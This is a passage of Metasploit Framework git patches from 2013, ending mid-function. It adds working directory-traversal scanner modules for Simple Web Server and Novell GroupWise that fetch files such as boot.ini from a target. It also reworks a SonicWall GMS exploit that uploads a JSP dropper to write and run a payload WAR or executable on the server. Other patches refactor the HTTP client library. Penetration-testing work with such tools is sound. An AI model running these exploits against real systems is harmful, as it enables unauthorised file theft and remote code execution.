b/tools/dev/pre-commit-hook.rb index f4e712a152..2625d6d64a 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -13,6 +13,10 @@ # # You must mark it executable (chmod +x), and do not name it # pre-commit.rb (just pre-commit) +# +# If you want to keep up on changes with this hook, just: +# +# ln -sf valid = true # Presume validity files_to_check = [] From b09f819e4bd49c9683a7c261a3a65599bcc9e42f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Feb 2013 17:02:07 -0600 Subject: [PATCH 137/448] Add Simple Web Server dir traversal --- .../http/simple_webserver_traversal.rb | 106 ++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 modules/auxiliary/scanner/http/simple_webserver_traversal.rb diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb new file mode 100644 index 0000000000..a4cf884e18 --- /dev/null +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -0,0 +1,106 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Simple Web Server 2.3-RC1 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in + Simple Web Server 2.3-RC1. + }, + 'References' => + [ + [ 'OSVDB', '88877' ], + [ 'EDB', '23886' ], + [ 'URL', 'http://seclists.org/bugtraq/2013/Jan/12' ] + ], + 'Author' => + [ + 'CwG GeNiuS', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Jan 03 2013" + )) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']) + ], self.class) + + deregister_options('RHOST') + end + + + # + # The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual + # HTTP status -- the second one is what we want. We cannot use the original update_cmd_parts() + # in Response, because that will only grab the first HTTP status. + # + def parse_status_line(res) + str = res.to_s + + status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/) + + if status_line.empty? + fail_with(Exploit::Failure::Unknown, "Invalid response command string.") + elsif status_line.length == 1 + proto, code, message = status_line[0] + else + proto, code, message = status_line[1] + end + + return message, code.to_i, proto + end + + + # + # The MSF API cannot parse this weird response + # + def parse_body(res) + str = res.to_s + str.split(/\r\n\r\n/)[2] || '' + end + + + def run_host(ip) + uri = normalize_uri("../"*8, datastore['FILEPATH']) + res = send_request_raw({'uri'=>uri}) + + if not res + print_error("#{ip}:#{rport} - Request timed out.") + return + end + + # The weird HTTP response totally messes up Rex::Proto::Http::Response, HA! + message, code, proto = parse_status_line(res) + body = parse_body(res) + + if code == 200 + + if body.empty? + print_status("#{ip}:#{rport} - File is empty.") + return + end + + vprint_line(body) + fname = ::File.basename(datastore['FILEPATH']) + p = store_loot('simplewebserver.file', 'application/octet-stream', ip, body, fname) + print_good("#{ip}:#{rport} - #{fname} stored in: #{p}") + else + print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})") + end + end +end \ No newline at end of file From a15889305aa763a37452e55647be2971602d8d0d Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 6 Feb 2013 18:56:06 -0600 Subject: [PATCH 138/448] Return a Request object Still changes the return type, but now at least .to_s will give you the right thing and at least a Request object is a logical thing to return. --- lib/rex/proto/http/client.rb | 138 +++++++++++++++++++--------------- lib/rex/proto/http/request.rb | 2 + 2 files changed, 80 insertions(+), 60 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d6d3fc68f2..760268a7f7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -151,27 +151,44 @@ class Client # # Create an arbitrary HTTP request # + # @param opts [Hash] + # @option opts 'agent' [String] User-Agent header value + # @option opts 'basic_auth' [String] Basic-Auth header value + # @option opts 'connection' [String] Connection header value + # @option opts 'cookie' [String] Cookie header value + # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) + # @option opts 'encode' [Bool] URI encode the supplied URI, default: false + # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" } + # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET + # @option opts 'proto' [String] protocol, default: HTTP + # @option opts 'query' [String] raw query string + # @option opts 'raw_headers' [Hash] HTTP headers + # @option opts 'uri' [String] the URI to request + # @option opts 'version' [String] version of the protocol, default: 1.1 + # @option opts 'vhost' [String] Host header value + # + # @return [Request] def request_raw(opts={}) - c_enc = opts['encode'] || false - c_uri = opts['uri'] || '/' + c_ag = opts['agent'] || config['agent'] + c_auth = opts['basic_auth'] || config['basic_auth'] || '' c_body = opts['data'] || '' + c_conn = opts['connection'] + c_cook = opts['cookie'] || config['cookie'] + c_enc = opts['encode'] || false + c_head = opts['headers'] || config['headers'] || {} + c_host = opts['vhost'] || config['vhost'] || self.hostname c_meth = opts['method'] || 'GET' c_prot = opts['proto'] || 'HTTP' - c_vers = opts['version'] || config['version'] || '1.1' c_qs = opts['query'] - c_ag = opts['agent'] || config['agent'] - c_cook = opts['cookie'] || config['cookie'] - c_host = opts['vhost'] || config['vhost'] || self.hostname - c_head = opts['headers'] || config['headers'] || {} c_rawh = opts['raw_headers']|| config['raw_headers'] || '' - c_conn = opts['connection'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' + c_uri = opts['uri'] || '/' + c_vers = opts['version'] || config['version'] || '1.1' # An agent parameter was specified, but so was a header, prefer the header if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent') c_ag = nil end - + uri = set_uri(c_uri) req = '' @@ -191,7 +208,6 @@ class Client req << set_host_header(c_host) req << set_agent_header(c_ag) - if (c_auth.length > 0) req << set_basic_auth_header(c_auth) end @@ -201,53 +217,45 @@ class Client req << set_extra_headers(c_head) req << set_raw_headers(c_rawh) req << set_body(c_body) - - {:string => req , :opts => opts} + + request = Request.new + request.parse(req) + request.options = opts + + request end # # Create a CGI compatible request # - # Options: - # - agent: User-Agent header value - # - basic_auth: Basic-Auth header value - # - connection: Connection header value - # - cookie: Cookie header value - # - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+ - # - data: HTTP data (only useful with some methods, see rfc2616) - # - encode: URI encode the supplied URI, default: false - # - encode_params: URI encode the GET or POST variables (names and values), default: true - # - headers: HTTP headers as a hash, e.g. { "X-MyHeader" => "value" } - # - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET - # - proto: protocol, default: HTTP - # - query: raw query string - # - raw_headers: HTTP headers as a hash - # - uri: the URI to request - # - vars_get: GET variables as a hash to be translated into a query string - # - vars_post: POST variables as a hash to be translated into POST data - # - version: version of the protocol, default: 1.1 - # - vhost: Host header value + # @param (see #request_raw) + # @option opts (see #request_raw) + # @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+ + # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true + # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string + # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data # + # @return [Request] def request_cgi(opts={}) + c_ag = opts['agent'] || config['agent'] + c_body = opts['data'] || '' + c_cgi = opts['uri'] || '/' + c_conn = opts['connection'] + c_cook = opts['cookie'] || config['cookie'] c_enc = opts['encode'] || false c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false) - c_cgi = opts['uri'] || '/' - c_body = opts['data'] || '' - c_meth = opts['method'] || 'GET' - c_prot = opts['proto'] || 'HTTP' - c_vers = opts['version'] || config['version'] || '1.1' - c_qs = opts['query'] || '' - c_varg = opts['vars_get'] || {} - c_varp = opts['vars_post'] || {} c_head = opts['headers'] || config['headers'] || {} + c_host = opts['vhost'] || config['vhost'] + c_meth = opts['method'] || 'GET' + c_path = opts['path_info'] + c_prot = opts['proto'] || 'HTTP' + c_qs = opts['query'] || '' c_rawh = opts['raw_headers'] || config['raw_headers'] || '' c_type = opts['ctype'] || 'application/x-www-form-urlencoded' - c_ag = opts['agent'] || config['agent'] - c_cook = opts['cookie'] || config['cookie'] - c_host = opts['vhost'] || config['vhost'] - c_conn = opts['connection'] - c_path = opts['path_info'] + c_varg = opts['vars_get'] || {} + c_varp = opts['vars_post'] || {} + c_vers = opts['version'] || config['version'] || '1.1' uri = set_cgi(c_cgi) qstr = c_qs @@ -264,7 +272,7 @@ class Client c_varg.each_pair do |var,val| qstr << '&' if qstr.length > 0 - qstr << (c_enc_p ? set_encode_uri(var) : var) + qstr << (c_enc_p ? set_encode_uri(var) : var) qstr << '=' qstr << (c_enc_p ? set_encode_uri(val) : val) end @@ -315,12 +323,19 @@ class Client req << set_raw_headers(c_rawh) req << set_body(pstr) - {:string => req , :opts => opts} + request = Request.new + request.parse(req) + request.options = opts + + request end # # Connects to the remote server if possible. # + # @param t [Fixnum] Timeout + # @see Rex::Socket::Tcp.create + # @return [Rex::Socket::Tcp] def connect(t = -1) # If we already have a connection and we aren't pipelining, close it. if (self.conn) @@ -360,28 +375,29 @@ class Client # # Sends a request and gets a response back - # If the request is a 401, and we have creds, it will attempt to - # complete authentication and return the final response + # + # If the request is a 401, and we have creds, it will attempt to complete + # authentication and return the final response # def send_recv(req, t = -1, persist=false) - opts = req[:opts] - req = req[:string] res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? - res = send_auth(res, opts, t, persist) + res = send_auth(res, req.options, t, persist) end res end # # Transmit an HTTP request and receive the response - # If persist is set, then the request will attempt - # to reuse an existing connection. # + # If persist is set, then the request will attempt to reuse an existing + # connection. + # + # Call this directly instead of {#send_recv} if you don't want automatic + # authentication handling. + # + # @return [Response] def _send_recv(req, t = -1, persist=false) - if req.kind_of? Hash and req[:string] - req = req[:string] - end @pipeline = persist send_request(req, t) res = read_response(t) @@ -392,12 +408,14 @@ class Client # # Send an HTTP request to the server # + # @param req [Request,#to_s] The request to send + # @param t (see #connect) def send_request(req, t = -1) connect(t) conn.put(req.to_s) end - # Validates that the client has creds + # Validates that the client has creds def have_creds? !(self.username.nil?) && self.username != '' end @@ -420,7 +438,7 @@ class Client else opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)} end - + req = request_cgi(opts) res = _send_recv(req,t,persist) return res @@ -628,7 +646,7 @@ class Client opts['password'] ||= self.password.to_s if opts['provider'] and opts['provider'].include? 'Negotiate' - provider = "Negotiate " + provider = "Negotiate " else provider = 'NTLM ' end diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index 45d13b2bae..af88fdcb68 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -48,6 +48,8 @@ class Request < Packet end end + attr_accessor :options + # # Initializes an instance of an HTTP request with the supplied method, URI, # and protocol. From b6c6397da3aa5e4befb8b3c277fb994359da1719 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 6 Feb 2013 19:21:20 -0600 Subject: [PATCH 139/448] typo --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 175e676f4a..66311f1310 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -186,7 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote }).to_s File.open("foo.war", "wb") { |fd| fd.write(war) } - dropper = jsp_bin_dopper(war, "#{install_path}webapps/foo.war") + dropper = jsp_bin_dropper(war, "#{install_path}webapps/foo.war") upload_file("#{install_path}webapps/appliance", "foo-dropper.jsp", dropper) send_request_cgi( { @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote }) end - def jsp_bin_dopper(bin_data, output_file) + def jsp_bin_dropper(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| From 77390a5935397b7e378f471562587f9f15855405 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 6 Feb 2013 23:34:55 -0600 Subject: [PATCH 140/448] Fix a bug reported by Tom Liston --- modules/auxiliary/server/capture/smb.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index af2cfc5862..74c5d11bf4 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -614,7 +614,7 @@ class Metasploit3 < Msf::Auxiliary smb[:domain] ? smb[:domain] : "NULL", @challenge.unpack("H*")[0], nt_hash.empty? ? "0" * 32 : nt_hash, - nt_cli_challenge ? "0" * 160 : nt_cli_challenge + nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge ].join(":").gsub(/\n/, "\\n") ) fd.close From a3264e18e2f3257a2428e10dd1b42bad35c5eb7b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 7 Feb 2013 10:30:17 -0600 Subject: [PATCH 141/448] There aint no fail_with(), must use print_error --- modules/auxiliary/scanner/http/simple_webserver_traversal.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index a4cf884e18..bd46af1814 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -55,7 +55,8 @@ class Metasploit3 < Msf::Auxiliary status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/) if status_line.empty? - fail_with(Exploit::Failure::Unknown, "Invalid response command string.") + print_error("Invalid response command string.") + return elsif status_line.length == 1 proto, code, message = status_line[0] else From b11f05274680457309baf4ba428eb143d5cf1fdc Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 7 Feb 2013 10:32:29 -0600 Subject: [PATCH 142/448] Allow arbitrary depth --- modules/auxiliary/scanner/http/simple_webserver_traversal.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index bd46af1814..b045ffb9c3 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -37,7 +37,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']) + OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) ], self.class) deregister_options('RHOST') @@ -77,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - uri = normalize_uri("../"*8, datastore['FILEPATH']) + uri = normalize_uri("../"*datastore['DEPTH'], datastore['FILEPATH']) res = send_request_raw({'uri'=>uri}) if not res From 98559d4d51673f223e5a483c81c18656deac6762 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 7 Feb 2013 10:45:53 -0600 Subject: [PATCH 143/448] Do a check and make sure this is Simple Web Server --- .../http/simple_webserver_traversal.rb | 37 ++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index b045ffb9c3..6988c85e76 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -77,7 +77,22 @@ class Metasploit3 < Msf::Auxiliary end + def is_sws? + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'].to_s =~ /PMSoftware\-SWS/ + return true + else + return false + end + end + + def run_host(ip) + if not is_sws? + print_error("#{ip}:#{rport} - This isn't a Simple Web Server") + return + end + uri = normalize_uri("../"*datastore['DEPTH'], datastore['FILEPATH']) res = send_request_raw({'uri'=>uri}) @@ -105,4 +120,24 @@ class Metasploit3 < Msf::Auxiliary print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})") end end -end \ No newline at end of file +end + +=begin +Vulnerable: +< HTTP/1.1 200 Ok +< Server: PMSoftware-SWS/2.3 +< Date: Thu, 07 Feb 2013 16:34:6 GMT +< Accept-Ranges: bytes +< Content-type: text/html +< Content-Length: 1550 + +Not vulnerable: + +< HTTP/1.1 200 Ok +< Server: PMSoftware-SWS/2.3 +< Date: Thu, 07 Feb 2013 16:39:53 GMT +< Accept-Ranges: bytes +< Content-type: text/html +< Content-Length: 1550 + +=end \ No newline at end of file From d554c3a56a2ffb1420ecde75a1b4e1fc196a4f65 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 7 Feb 2013 10:46:42 -0600 Subject: [PATCH 144/448] Don't really need the bottom comment --- .../http/simple_webserver_traversal.rb | 19 ------------------- 1 file changed, 19 deletions(-) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 6988c85e76..d98e6f38fe 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -122,22 +122,3 @@ class Metasploit3 < Msf::Auxiliary end end -=begin -Vulnerable: -< HTTP/1.1 200 Ok -< Server: PMSoftware-SWS/2.3 -< Date: Thu, 07 Feb 2013 16:34:6 GMT -< Accept-Ranges: bytes -< Content-type: text/html -< Content-Length: 1550 - -Not vulnerable: - -< HTTP/1.1 200 Ok -< Server: PMSoftware-SWS/2.3 -< Date: Thu, 07 Feb 2013 16:39:53 GMT -< Accept-Ranges: bytes -< Content-type: text/html -< Content-Length: 1550 - -=end \ No newline at end of file From 7f746e1caa22082af46ce5d6cd1867f6aca7c95c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 7 Feb 2013 11:13:18 -0600 Subject: [PATCH 145/448] That's what he said. --- modules/auxiliary/scanner/http/simple_webserver_traversal.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index d98e6f38fe..3de0b7399b 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -108,7 +108,8 @@ class Metasploit3 < Msf::Auxiliary if code == 200 if body.empty? - print_status("#{ip}:#{rport} - File is empty.") + # HD's likes vprint_* in case it's hitting a large network + vprint_status("#{ip}:#{rport} - File is empty.") return end From 0d3c32b0a43b170cd4819c3cd0aee84684b9fad8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Feb 2013 21:15:49 +0100 Subject: [PATCH 146/448] Added module for CVE-2012-0419 --- .../http/groupwise_agents_http_traversal.rb | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb new file mode 100644 index 0000000000..47b4f1ec8f --- /dev/null +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -0,0 +1,82 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell Groupwise Agents HTTP Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in Novell Groupwise. + The vulnerability exists in the web interface of both the Post Office and the + MTA agents. This module has been tested successfully on Novell Groupwise 8.02 HP2 + over Windows 2003 SP2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'r () b13$', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0419' ], + [ 'OSVDB', '85801' ], + [ 'BID', '55648' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7010772' ] + ] + )) + + register_options( + [ + Opt::RPORT(7181), # Also 7180 can be used + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) + ], self.class) + end + + def run_host(ip) + # No point to continue if no filename is specified + if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? + vprint_error("#{rhost}:#{rport} - Please supply FILEPATH") + return + end + + travs = "" + travs << "../" * datastore['DEPTH'] + + travs = normalize_uri("/help/", travs, datastore['FILEPATH']) + + vprint_status("#{rhost}:#{rport} - Sending request...") + res = send_request_cgi({ + 'uri' => travs, + 'method' => 'GET', + }) + + if res and res.code == 200 + contents = res.body + fname = File.basename(datastore['FILEPATH']) + path = store_loot( + 'novell.groupwise', + 'application/octet-stream', + ip, + contents, + fname + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve file") + return + end + end +end From e9912496d88923308f70ced8f0c66973873f6476 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Feb 2013 22:05:39 +0100 Subject: [PATCH 147/448] nice check learned from sinn3r --- .../http/groupwise_agents_http_traversal.rb | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index 47b4f1ec8f..1cd2f5df07 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -45,10 +45,19 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def is_groupwise? + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'].to_s =~ /GroupWise/ + return true + else + return false + end + end + def run_host(ip) - # No point to continue if no filename is specified - if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? - vprint_error("#{rhost}:#{rport} - Please supply FILEPATH") + + if not is_groupwise? + vprint_error("#{rhost}:#{rport} - This isn't a GroupWise Agent HTTP Interface") return end From 13d104598903fb02837aaf508ee0df84704cf677 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Feb 2013 16:56:38 -0600 Subject: [PATCH 148/448] Works for java and native linux targets --- lib/msf/core/payload/java.rb | 17 ++- .../multi/http/sonicwall_gms_upload.rb | 113 ++++++++++++------ 2 files changed, 86 insertions(+), 44 deletions(-) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 824db13b08..851ffb4aaa 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -35,15 +35,14 @@ module Msf::Payload::Java end # - # Used by stagers to create a jar file as a Rex::Zip::Jar. Stagers define - # a list of class files in @class_files which are pulled from - # Msf::Config.data_directory. The configuration file is created by the - # payload's #config method. - # - # +opts+ can include: - # +:main_class+:: the name of the Main-Class attribute in the manifest. - # Defaults to "metasploit.Payload" + # Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers + # define a list of class files in @class_files which are pulled from + # {Msf::Config.data_directory}. The configuration file is created by + # the payload's #config method. # + # @option opts :main_class [String] the name of the Main-Class + # attribute in the manifest. Defaults to "metasploit.Payload" + # @return [Rex::Zip::Jar] def generate_jar(opts={}) raise if not respond_to? :config # Allow changing the jar's Main Class in the manifest so wrappers @@ -63,7 +62,7 @@ module Msf::Payload::Java end # - # Like #generate_jar, this method is used by stagers to create a war file + # Like {#generate_jar}, this method is used by stagers to create a war file # as a Rex::Zip::Jar object. # # @param opts [Hash] diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 66311f1310..27f928b9bd 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -79,10 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote end - def get_install_path + def install_path + return @install_path if @install_path + res = send_request_cgi( { - 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", + 'uri' => normalize_uri(target_uri.path,"appliance","applianceMainPage") + "?skipSessionCheck=1", 'method' => 'POST', 'connection' => 'TE, close', 'headers' => @@ -99,11 +101,12 @@ class Metasploit3 < Msf::Exploit::Remote } }) + @install_path = nil if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/ - return $1 + @install_path = $1 end - return nil + @install_path end def upload_file(location, filename, contents) @@ -113,12 +116,13 @@ class Metasploit3 < Msf::Exploit::Remote post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"") post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") + # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi( { - 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", + 'uri' => normalize_uri(target_uri.path, "appliance","applianceMainPage") + "?skipSessionCheck=1", 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -128,11 +132,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'connection' => 'TE, close' }) - if target['Platform'] == "win" - register_files_for_cleanup("#{location}\\#{filename}") - else - register_files_for_cleanup("#{location}/#{filename}") - end + register_files_for_cleanup(path_join(location, filename)) if res and res.code == 200 and res.body.empty? return true @@ -143,10 +143,8 @@ class Metasploit3 < Msf::Exploit::Remote def check @peer = "#{rhost}:#{rport}" - @uri = normalize_uri(target_uri.path) - @uri << '/' if @uri[-1,1] != '/' - if get_install_path.nil? + if install_path.nil? return Exploit::CheckCode::Safe end @@ -155,12 +153,9 @@ class Metasploit3 < Msf::Exploit::Remote def exploit @peer = "#{rhost}:#{rport}" - @uri = normalize_uri(target_uri.path) - @uri << '/' if @uri[-1,1] != '/' # Get Tomcat installation path print_status("#{@peer} - Retrieving Tomcat installation path...") - install_path = get_install_path if install_path.nil? fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") @@ -168,40 +163,74 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{@peer} - Tomcat installed on #{install_path}") - if target['Platform'] == "linux" - @location = "#{install_path}webapps/appliance/" - elsif target['Platform'] == "win" - @location = "#{install_path}webapps\\appliance\\" + if target['Platform'] == "java" + exploit_java + else + exploit_native end + end - # Generate the WAR containing the EXE containing the payload + def exploit_java jsp_name = "index" - app_base = rand_text_alphanumeric(4+rand(32-4)) + #app_base = rand_text_alphanumeric(4+rand(32-4)) + app_base = "foo" war = payload.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => target.arch, - :platform => target.platform - }).to_s + :app_name => app_base, + :jsp_name => jsp_name, + }).to_s File.open("foo.war", "wb") { |fd| fd.write(war) } - dropper = jsp_bin_dropper(war, "#{install_path}webapps/foo.war") - upload_file("#{install_path}webapps/appliance", "foo-dropper.jsp", dropper) + war_filename = path_join(install_path, "webapps","#{app_base}.war") + dropper = jsp_drop_bin(war, war_filename) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + + upload_file(path_join(install_path,"webapps","appliance"), dropper_filename, dropper) send_request_cgi( { - 'uri' => normalize_uri("#{@uri}appliance/foo-dropper.jsp"), + 'uri' => normalize_uri(target_uri.path, "appliance", dropper_filename), 'method' => 'GET' }) - send_request_cgi( { - 'uri' => normalize_uri("#{target_uri.path}/foo/#{app_base}/#{jsp_name}.jsp"), + 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) end - def jsp_bin_dropper(bin_data, output_file) + + def exploit_native + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + exe = payload.encoded_exe + exe_filename = Rex::Text.rand_text_alpha(8) + if target['Platform'] == "win" + exe << ".exe" + end + + dropper = jsp_drop_and_execute(exe, "#{install_path}#{exe_filename}") + + upload_file(path_join(install_path,"webapps","appliance"), dropper_filename, dropper) + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "appliance", dropper_filename), + 'method' => 'GET' + }) + + end + + def path_join(*paths) + if target['Platform'] == "win" + path = paths.join("\\") + path.gsub!(%r|\\+|, "\\") + else + path = paths.join("/") + path.gsub!(%r|//+|, "/") + end + + path + end + + def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| @@ -223,9 +252,23 @@ class Metasploit3 < Msf::Exploit::Remote jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| - jspraw << %Q|%>\n| - return jspraw + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << 